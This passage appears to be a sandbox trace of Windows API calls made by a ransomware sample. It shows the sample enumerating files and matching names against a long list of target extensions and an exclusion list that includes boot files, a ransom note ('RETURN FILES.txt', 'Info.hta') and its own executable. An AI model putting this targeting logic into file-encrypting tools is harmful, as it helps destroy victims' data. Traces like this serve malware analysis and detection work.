lstrcmpiW (lpString1=".qt", lpString2="VSS") returned -1 [0044.206] lstrlenW (lpString=".r3d") returned 4 [0044.206] lstrcmpiW (lpString1=".r3d", lpString2=".VSS") returned -1 [0044.207] lstrlenW (lpString=".raf") returned 4 [0044.207] lstrcmpiW (lpString1=".raf", lpString2=".VSS") returned -1 [0044.207] lstrlenW (lpString=".rar") returned 4 [0044.207] lstrcmpiW (lpString1=".rar", lpString2=".VSS") returned -1 [0044.207] lstrlenW (lpString=".raw") returned 4 [0044.207] lstrcmpiW (lpString1=".raw", lpString2=".VSS") returned -1 [0044.207] lstrlenW (lpString=".rdf") returned 4 [0044.207] lstrcmpiW (lpString1=".rdf", lpString2=".VSS") returned -1 [0044.207] lstrlenW (lpString=".rgbe") returned 5 [0044.207] lstrcmpiW (lpString1=".rgbe", lpString2="U.VSS") returned -1 [0044.207] lstrlenW (lpString=".rle") returned 4 [0044.207] lstrcmpiW (lpString1=".rle", lpString2=".VSS") returned -1 [0044.207] lstrlenW (lpString=".rqy") returned 4 [0044.207] lstrcmpiW (lpString1=".rqy", lpString2=".VSS") returned -1 [0044.207] lstrlenW (lpString=".rss") returned 4 [0044.207] lstrcmpiW (lpString1=".rss", lpString2=".VSS") returned -1 [0044.207] lstrlenW (lpString=".rtf") returned 4 [0044.207] lstrcmpiW (lpString1=".rtf", lpString2=".VSS") returned -1 [0044.207] lstrlenW (lpString=".rw2") returned 4 [0044.207] lstrcmpiW (lpString1=".rw2", lpString2=".VSS") returned -1 [0044.207] lstrlenW (lpString=".rwl") returned 4 [0044.207] lstrcmpiW (lpString1=".rwl", lpString2=".VSS") returned -1 [0044.207] lstrlenW (lpString=".safe") returned 5 [0044.207] lstrcmpiW (lpString1=".safe", lpString2="U.VSS") returned -1 [0044.207] lstrlenW (lpString=".sct") returned 4 [0044.207] lstrcmpiW (lpString1=".sct", lpString2=".VSS") returned -1 [0044.207] lstrlenW (lpString=".sdpx") returned 5 [0044.207] lstrcmpiW (lpString1=".sdpx", lpString2="U.VSS") returned -1 [0044.207] lstrlenW (lpString=".shtm") returned 5 [0044.207] lstrcmpiW (lpString1=".shtm", lpString2="U.VSS") returned -1 [0044.207] lstrlenW (lpString=".shtml") returned 6 [0044.207] lstrcmpiW (lpString1=".shtml", lpString2="_U.VSS") returned -1 [0044.207] lstrlenW (lpString=".slk") returned 4 [0044.207] lstrcmpiW (lpString1=".slk", lpString2=".VSS") returned -1 [0044.207] lstrlenW (lpString=".sln") returned 4 [0044.207] lstrcmpiW (lpString1=".sln", lpString2=".VSS") returned -1 [0044.208] lstrlenW (lpString=".sql") returned 4 [0044.208] lstrcmpiW (lpString1=".sql", lpString2=".VSS") returned -1 [0044.208] lstrlenW (lpString=".sr2") returned 4 [0044.208] lstrcmpiW (lpString1=".sr2", lpString2=".VSS") returned -1 [0044.208] lstrlenW (lpString=".srf") returned 4 [0044.208] lstrcmpiW (lpString1=".srf", lpString2=".VSS") returned -1 [0044.208] lstrlenW (lpString=".srw") returned 4 [0044.208] lstrcmpiW (lpString1=".srw", lpString2=".VSS") returned -1 [0044.208] lstrlenW (lpString=".ssi") returned 4 [0044.208] lstrcmpiW (lpString1=".ssi", lpString2=".VSS") returned -1 [0044.208] lstrlenW (lpString=".st") returned 3 [0044.208] lstrcmpiW (lpString1=".st", lpString2="VSS") returned -1 [0044.208] lstrlenW (lpString=".stm") returned 4 [0044.208] lstrcmpiW (lpString1=".stm", lpString2=".VSS") returned -1 [0044.208] lstrlenW (lpString=".svg") returned 4 [0044.208] lstrcmpiW (lpString1=".svg", lpString2=".VSS") returned -1 [0044.208] lstrlenW (lpString=".svgz") returned 5 [0044.208] lstrcmpiW (lpString1=".svgz", lpString2="U.VSS") returned -1 [0044.208] lstrlenW (lpString=".swf") returned 4 [0044.208] lstrcmpiW (lpString1=".swf", lpString2=".VSS") returned -1 [0047.209] FindClose (in: hFindFile=0x604548 | out: hFindFile=0x604548) returned 1 [0047.210] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3ed0050 | out: hHeap=0x510000) returned 1 [0047.341] FindNextFileW (in: hFindFile=0x604488, lpFindFileData=0x2eff310 | out: lpFindFileData=0x2eff310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81e8c820, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5ef398, dwReserved0=0x0, dwReserved1=0x0, cFileName="authplay.dll", cAlternateFileName="")) returned 1 [0057.323] FindNextFileW (in: hFindFile=0x604908, lpFindFileData=0x2efe428 | out: lpFindFileData=0x2efe428*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84251e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8448d2b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8448d2b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.324] FindNextFileW (in: hFindFile=0x604908, lpFindFileData=0x2efe428 | out: lpFindFileData=0x2efe428*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8448d2b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8448d2b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8448d2b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="000003.log", cAlternateFileName="")) returned 1 [0057.324] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0057.324] lstrcmpiW (lpString1=".3ds", lpString2=".log") returned -1 [0057.324] lstrcmpiW (lpString1=".3fr", lpString2=".log") returned -1 [0057.324] lstrcmpiW (lpString1=".3g2", lpString2=".log") returned -1 [0057.324] lstrcmpiW (lpString1=".3gp", lpString2=".log") returned -1 [0057.324] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0057.324] lstrcmpiW (lpString1=".accda", lpString2="03.log") returned -1 [0057.324] lstrcmpiW (lpString1=".accdb", lpString2="03.log") returned -1 [0057.324] lstrcmpiW (lpString1=".accdc", lpString2="03.log") returned -1 [0057.325] lstrcmpiW (lpString1=".accde", lpString2="03.log") returned -1 [0057.325] lstrcmpiW (lpString1=".accdt", lpString2="03.log") returned -1 [0057.325] lstrcmpiW (lpString1=".accdw", lpString2="03.log") returned -1 [0057.325] lstrcmpiW (lpString1=".adb", lpString2=".log") returned -1 [0057.325] lstrcmpiW (lpString1=".adp", lpString2=".log") returned -1 [0057.325] lstrcmpiW (lpString1=".ai", lpString2="log") returned -1 [0057.325] lstrcmpiW (lpString1=".ai3", lpString2=".log") returned -1 [0057.325] lstrcmpiW (lpString1=".ai4", lpString2=".log") returned -1 [0057.325] lstrcmpiW (lpString1=".ai5", lpString2=".log") returned -1 [0057.325] lstrcmpiW (lpString1=".ai6", lpString2=".log") returned -1 [0057.325] lstrcmpiW (lpString1=".ai7", lpString2=".log") returned -1 [0057.325] lstrcmpiW (lpString1=".ai8", lpString2=".log") returned -1 [0057.325] lstrcmpiW (lpString1=".anim", lpString2="3.log") returned -1 [0057.325] lstrcmpiW (lpString1=".arw", lpString2=".log") returned -1 [0057.325] lstrcmpiW (lpString1=".as", lpString2="log") returned -1 [0057.325] lstrcmpiW (lpString1=".asa", lpString2=".log") returned -1 [0057.326] lstrcmpiW (lpString1=".asc", lpString2=".log") returned -1 [0057.326] lstrcmpiW (lpString1=".ascx", lpString2="3.log") returned -1 [0057.326] lstrcmpiW (lpString1=".asm", lpString2=".log") returned -1 [0057.326] lstrcmpiW (lpString1=".asmx", lpString2="3.log") returned -1 [0057.326] lstrcmpiW (lpString1=".asp", lpString2=".log") returned -1 [0057.326] lstrcmpiW (lpString1=".aspx", lpString2="3.log") returned -1 [0057.326] lstrcmpiW (lpString1=".asr", lpString2=".log") returned -1 [0057.326] lstrcmpiW (lpString1=".asx", lpString2=".log") returned -1 [0057.326] lstrcmpiW (lpString1=".avi", lpString2=".log") returned -1 [0057.326] lstrcmpiW (lpString1=".avs", lpString2=".log") returned -1 [0057.326] lstrcmpiW (lpString1=".backup", lpString2="003.log") returned -1 [0057.326] lstrcmpiW (lpString1=".bak", lpString2=".log") returned -1 [0057.326] lstrcmpiW (lpString1=".bay", lpString2=".log") returned -1 [0057.326] lstrcmpiW (lpString1=".bd", lpString2="log") returned -1 [0057.326] lstrcmpiW (lpString1=".bin", lpString2=".log") returned -1 [0057.327] lstrcmpiW (lpString1=".bmp", lpString2=".log") returned -1 [0057.327] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0057.327] lstrcmpiW (lpString1=".c", lpString2="og") returned -1 [0057.327] lstrcmpiW (lpString1=".cdr", lpString2=".log") returned -1 [0057.327] lstrcmpiW (lpString1=".cer", lpString2=".log") returned -1 [0057.327] lstrcmpiW (lpString1=".cf", lpString2="log") returned -1 [0057.327] lstrcmpiW (lpString1=".cfc", lpString2=".log") returned -1 [0057.327] lstrcmpiW (lpString1=".cfm", lpString2=".log") returned -1 [0057.327] lstrcmpiW (lpString1=".cfml", lpString2="3.log") returned -1 [0057.327] lstrcmpiW (lpString1=".cfu", lpString2=".log") returned -1 [0057.327] lstrcmpiW (lpString1=".chm", lpString2=".log") returned -1 [0057.327] lstrcmpiW (lpString1=".cin", lpString2=".log") returned -1 [0057.327] lstrcmpiW (lpString1=".class", lpString2="03.log") returned -1 [0057.327] lstrcmpiW (lpString1=".clx", lpString2=".log") returned -1 [0057.327] lstrcmpiW (lpString1=".config", lpString2="003.log") returned -1 [0057.328] lstrcmpiW (lpString1=".cpp", lpString2=".log") returned -1 [0057.328] lstrcmpiW (lpString1=".cr2", lpString2=".log") returned -1 [0057.328] lstrcmpiW (lpString1=".crt", lpString2=".log") returned -1 [0057.328] lstrcmpiW (lpString1=".crw", lpString2=".log") returned -1 [0057.328] lstrcmpiW (lpString1=".cs", lpString2="log") returned -1 [0057.328] lstrcmpiW (lpString1=".css", lpString2=".log") returned -1 [0057.328] lstrcmpiW (lpString1=".csv", lpString2=".log") returned -1 [0057.328] lstrcmpiW (lpString1=".cub", lpString2=".log") returned -1 [0057.328] lstrcmpiW (lpString1=".dae", lpString2=".log") returned -1 [0057.328] lstrcmpiW (lpString1=".dat", lpString2=".log") returned -1 [0057.328] lstrcmpiW (lpString1=".db", lpString2="log") returned -1 [0057.328] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0057.328] lstrcmpiW (lpString1=".dbx", lpString2=".log") returned -1 [0057.328] lstrcmpiW (lpString1=".dc3", lpString2=".log") returned -1 [0057.328] lstrcmpiW (lpString1=".dcm", lpString2=".log") returned -1 [0057.329] lstrcmpiW (lpString1=".dcr", lpString2=".log") returned -1 [0057.329] lstrcmpiW (lpString1=".der", lpString2=".log") returned -1 [0057.329] lstrcmpiW (lpString1=".dib", lpString2=".log") returned -1 [0057.329] lstrcmpiW (lpString1=".dic", lpString2=".log") returned -1 [0057.329] lstrcmpiW (lpString1=".dif", lpString2=".log") returned -1 [0057.329] lstrcmpiW (lpString1=".divx", lpString2="3.log") returned -1 [0057.329] lstrcmpiW (lpString1=".djvu", lpString2="3.log") returned -1 [0057.329] lstrcmpiW (lpString1=".dng", lpString2=".log") returned -1 [0057.329] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0057.329] lstrcmpiW (lpString1=".docm", lpString2="3.log") returned -1 [0057.329] lstrcmpiW (lpString1=".docx", lpString2="3.log") returned -1 [0057.329] lstrcmpiW (lpString1=".dot", lpString2=".log") returned -1 [0057.329] lstrcmpiW (lpString1=".dotm", lpString2="3.log") returned -1 [0057.329] lstrcmpiW (lpString1=".dotx", lpString2="3.log") returned -1 [0057.329] lstrcmpiW (lpString1=".dpx", lpString2=".log") returned -1 [0057.329] lstrcmpiW (lpString1=".dqy", lpString2=".log") returned -1 [0057.330] lstrcmpiW (lpString1=".dsn", lpString2=".log") returned -1 [0057.330] lstrcmpiW (lpString1=".dt", lpString2="log") returned -1 [0057.330] lstrcmpiW (lpString1=".dtd", lpString2=".log") returned -1 [0057.330] lstrcmpiW (lpString1=".dwg", lpString2=".log") returned -1 [0057.330] lstrcmpiW (lpString1=".dwt", lpString2=".log") returned -1 [0057.330] lstrcmpiW (lpString1=".dx", lpString2="log") returned -1 [0057.330] lstrcmpiW (lpString1=".dxf", lpString2=".log") returned -1 [0057.330] lstrcmpiW (lpString1=".edml", lpString2="3.log") returned -1 [0057.330] lstrcmpiW (lpString1=".efd", lpString2=".log") returned -1 [0057.330] lstrcmpiW (lpString1=".elf", lpString2=".log") returned -1 [0057.330] lstrcmpiW (lpString1=".emf", lpString2=".log") returned -1 [0057.330] lstrcmpiW (lpString1=".emz", lpString2=".log") returned -1 [0057.330] lstrcmpiW (lpString1=".epf", lpString2=".log") returned -1 [0057.330] lstrcmpiW (lpString1=".eps", lpString2=".log") returned -1 [0057.330] lstrcmpiW (lpString1=".epsf", lpString2="3.log") returned -1 [0057.331] lstrcmpiW (lpString1=".epsp", lpString2="3.log") returned -1 [0057.331] lstrcmpiW (lpString1=".erf", lpString2=".log") returned -1 [0057.331] lstrcmpiW (lpString1=".exr", lpString2=".log") returned -1 [0057.331] lstrcmpiW (lpString1=".f4v", lpString2=".log") returned -1 [0057.331] lstrcmpiW (lpString1=".fido", lpString2="3.log") returned -1 [0057.331] lstrcmpiW (lpString1=".flm", lpString2=".log") returned -1 [0057.331] lstrcmpiW (lpString1=".flv", lpString2=".log") returned -1 [0057.331] lstrcmpiW (lpString1=".frm", lpString2=".log") returned -1 [0057.331] lstrcmpiW (lpString1=".fxg", lpString2=".log") returned -1 [0057.331] lstrcmpiW (lpString1=".geo", lpString2=".log") returned -1 [0057.331] lstrcmpiW (lpString1=".gif", lpString2=".log") returned -1 [0057.331] lstrcmpiW (lpString1=".grs", lpString2=".log") returned -1 [0057.331] lstrcmpiW (lpString1=".gz", lpString2="log") returned -1 [0057.331] lstrcmpiW (lpString1=".h", lpString2="og") returned -1 [0057.331] lstrcmpiW (lpString1=".hdr", lpString2=".log") returned -1 [0057.332] lstrcmpiW (lpString1=".hpp", lpString2=".log") returned -1 [0057.332] lstrcmpiW (lpString1=".hta", lpString2=".log") returned -1 [0057.332] lstrcmpiW (lpString1=".htc", lpString2=".log") returned -1 [0057.332] lstrcmpiW (lpString1=".htm", lpString2=".log") returned -1 [0057.332] lstrcmpiW (lpString1=".html", lpString2="3.log") returned -1 [0057.332] lstrcmpiW (lpString1=".icb", lpString2=".log") returned -1 [0057.332] lstrcmpiW (lpString1=".ics", lpString2=".log") returned -1 [0057.332] lstrcmpiW (lpString1=".iff", lpString2=".log") returned -1 [0057.332] lstrcmpiW (lpString1=".inc", lpString2=".log") returned -1 [0057.332] lstrcmpiW (lpString1=".indd", lpString2="3.log") returned -1 [0057.332] lstrcmpiW (lpString1=".ini", lpString2=".log") returned -1 [0057.332] lstrcmpiW (lpString1=".iqy", lpString2=".log") returned -1 [0057.332] lstrcmpiW (lpString1=".j2c", lpString2=".log") returned -1 [0057.332] lstrcmpiW (lpString1=".j2k", lpString2=".log") returned -1 [0057.332] lstrcmpiW (lpString1=".java", lpString2="3.log") returned -1 [0057.332] lstrcmpiW (lpString1=".jp2", lpString2=".log") returned -1 [0057.333] lstrcmpiW (lpString1=".jpc", lpString2=".log") returned -1 [0057.333] lstrcmpiW (lpString1=".jpe", lpString2=".log") returned -1 [0057.333] lstrcmpiW (lpString1=".jpeg", lpString2="3.log") returned -1 [0057.333] lstrcmpiW (lpString1=".jpf", lpString2=".log") returned -1 [0057.333] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1 [0057.333] lstrcmpiW (lpString1=".jpx", lpString2=".log") returned -1 [0057.333] lstrcmpiW (lpString1=".js", lpString2="log") returned -1 [0057.333] lstrcmpiW (lpString1=".jsf", lpString2=".log") returned -1 [0057.333] lstrcmpiW (lpString1=".json", lpString2="3.log") returned -1 [0057.333] lstrcmpiW (lpString1=".jsp", lpString2=".log") returned -1 [0057.333] lstrcmpiW (lpString1=".kdc", lpString2=".log") returned -1 [0057.333] lstrcmpiW (lpString1=".kmz", lpString2=".log") returned -1 [0057.333] lstrcmpiW (lpString1=".kwm", lpString2=".log") returned -1 [0057.333] lstrcmpiW (lpString1=".lasso", lpString2="03.log") returned -1 [0057.333] lstrcmpiW (lpString1=".lbi", lpString2=".log") returned -1 [0057.334] lstrcmpiW (lpString1=".lgf", lpString2=".log") returned -1 [0057.334] lstrcmpiW (lpString1=".lgp", lpString2=".log") returned -1 [0057.334] lstrcmpiW (lpString1=".log", lpString2=".log") returned 0 [0057.334] lstrcmpiW (lpString1=".Q1G", lpString2=".log") returned 1 [0057.334] lstrcmpiW (lpString1="boot.ini", lpString2="000003.log") returned 1 [0057.334] lstrcmpiW (lpString1="bootfont.bin", lpString2="000003.log") returned 1 [0057.334] lstrcmpiW (lpString1="ntldr", lpString2="000003.log") returned 1 [0057.334] lstrcmpiW (lpString1="ntdetect.com", lpString2="000003.log") returned 1 [0057.334] lstrcmpiW (lpString1="io.sys", lpString2="000003.log") returned 1 [0057.334] lstrcmpiW (lpString1="RETURN FILES.txt", lpString2="000003.log") returned 1 [0057.334] lstrcmpiW (lpString1="Info.hta", lpString2="000003.log") returned 1 [0057.334] lstrcmpiW (lpString1="uyuquk.exe", lpString2="000003.log") returned 1 [0057.334] FindNextFileW (in: hFindFile=0x604908, lpFindFileData=0x2efe428 | out: lpFindFileData=0x2efe428*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84254520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84254520, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84254520, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="CURRENT", cAlternateFileName="")) returned 1 [0057.334] lstrcmpiW (lpString1=".1cd", lpString2="RENT") returned -1 [0057.334] lstrcmpiW (lpString1=".3ds", lpString2="RENT") returned -1 [0057.334] lstrcmpiW (lpString1=".3fr", lpString2="RENT") returned -1 [0057.334] lstrcmpiW (lpString1=".3g2", lpString2="RENT") returned -1 [0057.334] lstrcmpiW (lpString1=".3gp", lpString2="RENT") returned -1 [0057.335] lstrcmpiW (lpString1=".7z", lpString2="ENT") returned -1 [0057.335] lstrcmpiW (lpString1=".accda", lpString2="URRENT") returned -1 [0057.335] lstrcmpiW (lpString1=".accdb", lpString2="URRENT") returned -1 [0057.335] lstrcmpiW (lpString1=".accdc", lpString2="URRENT") returned -1 [0057.335] lstrcmpiW (lpString1=".accde", lpString2="URRENT") returned -1 [0057.335] lstrcmpiW (lpString1=".accdt", lpString2="URRENT") returned -1 [0057.335] lstrcmpiW (lpString1=".accdw", lpString2="URRENT") returned -1 [0057.335] lstrcmpiW (lpString1=".adb", lpString2="RENT") returned -1 [0057.335] lstrcmpiW (lpString1=".adp", lpString2="RENT") returned -1 [0057.335] lstrcmpiW (lpString1=".ai", lpString2="ENT") returned -1 [0057.335] lstrcmpiW (lpString1=".ai3", lpString2="RENT") returned -1 [0057.335] lstrcmpiW (lpString1=".ai4", lpString2="RENT") returned -1 [0057.335] lstrcmpiW (lpString1=".ai5", lpString2="RENT") returned -1 [0057.335] lstrcmpiW (lpString1=".ai6", lpString2="RENT") returned -1 [0057.335] lstrcmpiW (lpString1=".ai7", lpString2="RENT") returned -1 [0057.335] lstrcmpiW (lpString1=".ai8", lpString2="RENT") returned -1 [0057.336] lstrcmpiW (lpString1=".anim", lpString2="RRENT") returned -1 [0057.336] lstrcmpiW (lpString1=".arw", lpString2="RENT") returned -1 [0057.336] lstrcmpiW (lpString1=".as", lpString2="ENT") returned -1 [0057.336] lstrcmpiW (lpString1=".asa", lpString2="RENT") returned -1 [0057.336] lstrcmpiW (lpString1=".asc", lpString2="RENT") returned -1 [0057.336] lstrcmpiW (lpString1=".ascx", lpString2="RRENT") returned -1 [0057.336] lstrcmpiW (lpString1=".asm", lpString2="RENT") returned -1 [0057.336] lstrcmpiW (lpString1=".asmx", lpString2="RRENT") returned -1 [0057.336] lstrcmpiW (lpString1=".asp", lpString2="RENT") returned -1 [0057.336] lstrcmpiW (lpString1=".aspx", lpString2="RRENT") returned -1 [0057.336] lstrcmpiW (lpString1=".asr", lpString2="RENT") returned -1 [0057.336] lstrcmpiW (lpString1=".asx", lpString2="RENT") returned -1 [0057.336] lstrcmpiW (lpString1=".avi", lpString2="RENT") returned -1 [0057.336] lstrcmpiW (lpString1=".avs", lpString2="RENT") returned -1 [0057.336] lstrcmpiW (lpString1=".backup", lpString2="CURRENT") returned -1 [0057.337] lstrcmpiW (lpString1=".bak", lpString2="RENT") returned -1 [0057.337] lstrcmpiW (lpString1=".bay", lpString2="RENT") returned -1 [0057.337] lstrcmpiW (lpString1=".bd", lpString2="ENT") returned -1 [0057.337] lstrcmpiW (lpString1=".bin", lpString2="RENT") returned -1 [0057.337] lstrcmpiW (lpString1=".bmp", lpString2="RENT") returned -1 [0057.337] lstrcmpiW (lpString1=".bz2", lpString2="RENT") returned -1 [0057.337] lstrcmpiW (lpString1=".c", lpString2="NT") returned -1 [0057.337] lstrcmpiW (lpString1=".cdr", lpString2="RENT") returned -1 [0057.337] lstrcmpiW (lpString1=".cer", lpString2="RENT") returned -1 [0057.337] lstrcmpiW (lpString1=".cf", lpString2="ENT") returned -1 [0057.337] lstrcmpiW (lpString1=".cfc", lpString2="RENT") returned -1 [0057.337] lstrcmpiW (lpString1=".cfm", lpString2="RENT") returned -1 [0057.337] lstrcmpiW (lpString1=".cfml", lpString2="RRENT") returned -1 [0057.337] lstrcmpiW (lpString1=".cfu", lpString2="RENT") returned -1 [0057.337] lstrcmpiW (lpString1=".chm", lpString2="RENT") returned -1 [0057.338] lstrcmpiW (lpString1=".cin", lpString2="RENT") returned -1 [0057.338] lstrcmpiW (lpString1=".class", lpString2="URRENT") returned -1 [0057.338] lstrcmpiW (lpString1=".clx", lpString2="RENT") returned -1 [0057.338] lstrcmpiW (lpString1=".config", lpString2="CURRENT") returned -1 [0057.338] lstrcmpiW (lpString1=".cpp", lpString2="RENT") returned -1 [0057.338] lstrcmpiW (lpString1=".cr2", lpString2="RENT") returned -1 [0057.338] lstrcmpiW (lpString1=".crt", lpString2="RENT") returned -1 [0057.338] lstrcmpiW (lpString1=".crw", lpString2="RENT") returned -1 [0057.338] lstrcmpiW (lpString1=".cs", lpString2="ENT") returned -1 [0057.338] lstrcmpiW (lpString1=".css", lpString2="RENT") returned -1 [0057.338] lstrcmpiW (lpString1=".csv", lpString2="RENT") returned -1 [0057.338] lstrcmpiW (lpString1=".cub", lpString2="RENT") returned -1 [0057.338] lstrcmpiW (lpString1=".dae", lpString2="RENT") returned -1 [0057.338] lstrcmpiW (lpString1=".dat", lpString2="RENT") returned -1 [0057.338] lstrcmpiW (lpString1=".db", lpString2="ENT") returned -1 [0057.338] lstrcmpiW (lpString1=".dbf", lpString2="RENT") returned -1 [0057.339] lstrcmpiW (lpString1=".dbx", lpString2="RENT") returned -1 [0057.339] lstrcmpiW (lpString1=".dc3", lpString2="RENT") returned -1 [0057.339] lstrcmpiW (lpString1=".dcm", lpString2="RENT") returned -1 [0057.339] lstrcmpiW (lpString1=".dcr", lpString2="RENT") returned -1 [0057.339] lstrcmpiW (lpString1=".der", lpString2="RENT") returned -1 [0057.339] lstrcmpiW (lpString1=".dib", lpString2="RENT") returned -1 [0057.339] lstrcmpiW (lpString1=".dic", lpString2="RENT") returned -1 [0057.339] lstrcmpiW (lpString1=".dif", lpString2="RENT") returned -1 [0057.339] lstrcmpiW (lpString1=".divx", lpString2="RRENT") returned -1 [0057.339] lstrcmpiW (lpString1=".djvu", lpString2="RRENT") returned -1 [0057.339] lstrcmpiW (lpString1=".dng", lpString2="RENT") returned -1 [0057.339] lstrcmpiW (lpString1=".doc", lpString2="RENT") returned -1 [0057.339] lstrcmpiW (lpString1=".docm", lpString2="RRENT") returned -1 [0057.339] lstrcmpiW (lpString1=".docx", lpString2="RRENT") returned -1 [0057.339] lstrcmpiW (lpString1=".dot", lpString2="RENT") returned -1 [0057.340] lstrcmpiW (lpString1=".dotm", lpString2="RRENT") returned -1 [0057.340] lstrcmpiW (lpString1=".dotx", lpString2="RRENT") returned -1 [0057.340] lstrcmpiW (lpString1=".dpx", lpString2="RENT") returned -1 [0057.340] lstrcmpiW (lpString1=".dqy", lpString2="RENT") returned -1 [0057.340] lstrcmpiW (lpString1=".dsn", lpString2="RENT") returned -1 [0057.340] lstrcmpiW (lpString1=".dt", lpString2="ENT") returned -1 [0057.340] lstrcmpiW (lpString1=".dtd", lpString2="RENT") returned -1 [0057.340] lstrcmpiW (lpString1=".dwg", lpString2="RENT") returned -1 Thread: id = 15 os_tid = 0x9cc [0035.570] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10000) returned 0x3770278 [0035.570] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10000) returned 0x3780280 [0035.570] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5b0260 [0035.571] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x6) returned 0x564100 [0035.571] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5b0278 [0035.571] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x100000) returned 0x3a80020 [0035.571] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5b0290 [0035.571] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5b0290, Size=0x20) returned 0x566818 [0035.571] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5b0290 [0035.571] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5b0290, Size=0x20) returned 0x5667c8 [0035.571] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0035.571] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0035.571] Wow64DisableWow64FsRedirection (in: OldValue=0x303ff58 | out: OldValue=0x303ff58*=0x0) returned 1 [0035.571] lstrlenW (lpString="kernel32.dll") returned 12 [0035.571] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x566818 | out: hHeap=0x510000) returned 1 [0035.571] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0035.571] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5667c8 | out: hHeap=0x510000) returned 1 [0035.571] Sleep (dwMilliseconds=0x64) [0035.946] lstrlenW (lpString="BCD") returned 3 [0035.946] CreateFileW (lpFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0035.946] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0035.946] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0035.946] lstrlenW (lpString=".doc") returned 4 [0035.946] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0035.946] lstrlenW (lpString=".docx") returned 5 [0035.946] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0035.946] lstrlenW (lpString=".pdf") returned 4 [0035.946] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0035.946] lstrlenW (lpString=".xls") returned 4 [0035.946] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0035.946] lstrlenW (lpString=".xlsx") returned 5 [0035.946] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0035.946] lstrlenW (lpString=".ppt") returned 4 [0035.946] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0035.946] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0035.946] lstrlenW (lpString=".zip") returned 4 [0035.946] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0035.946] lstrlenW (lpString=".rar") returned 4 [0035.946] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0035.946] lstrlenW (lpString=".bz2") returned 4 [0035.946] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0035.946] lstrlenW (lpString=".7z") returned 3 [0035.946] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0035.946] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0035.946] lstrlenW (lpString=".dbf") returned 4 [0035.946] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0035.947] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0035.947] lstrlenW (lpString=".1cd") returned 4 [0035.947] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0035.947] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0035.947] lstrlenW (lpString=".jpg") returned 4 [0035.947] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 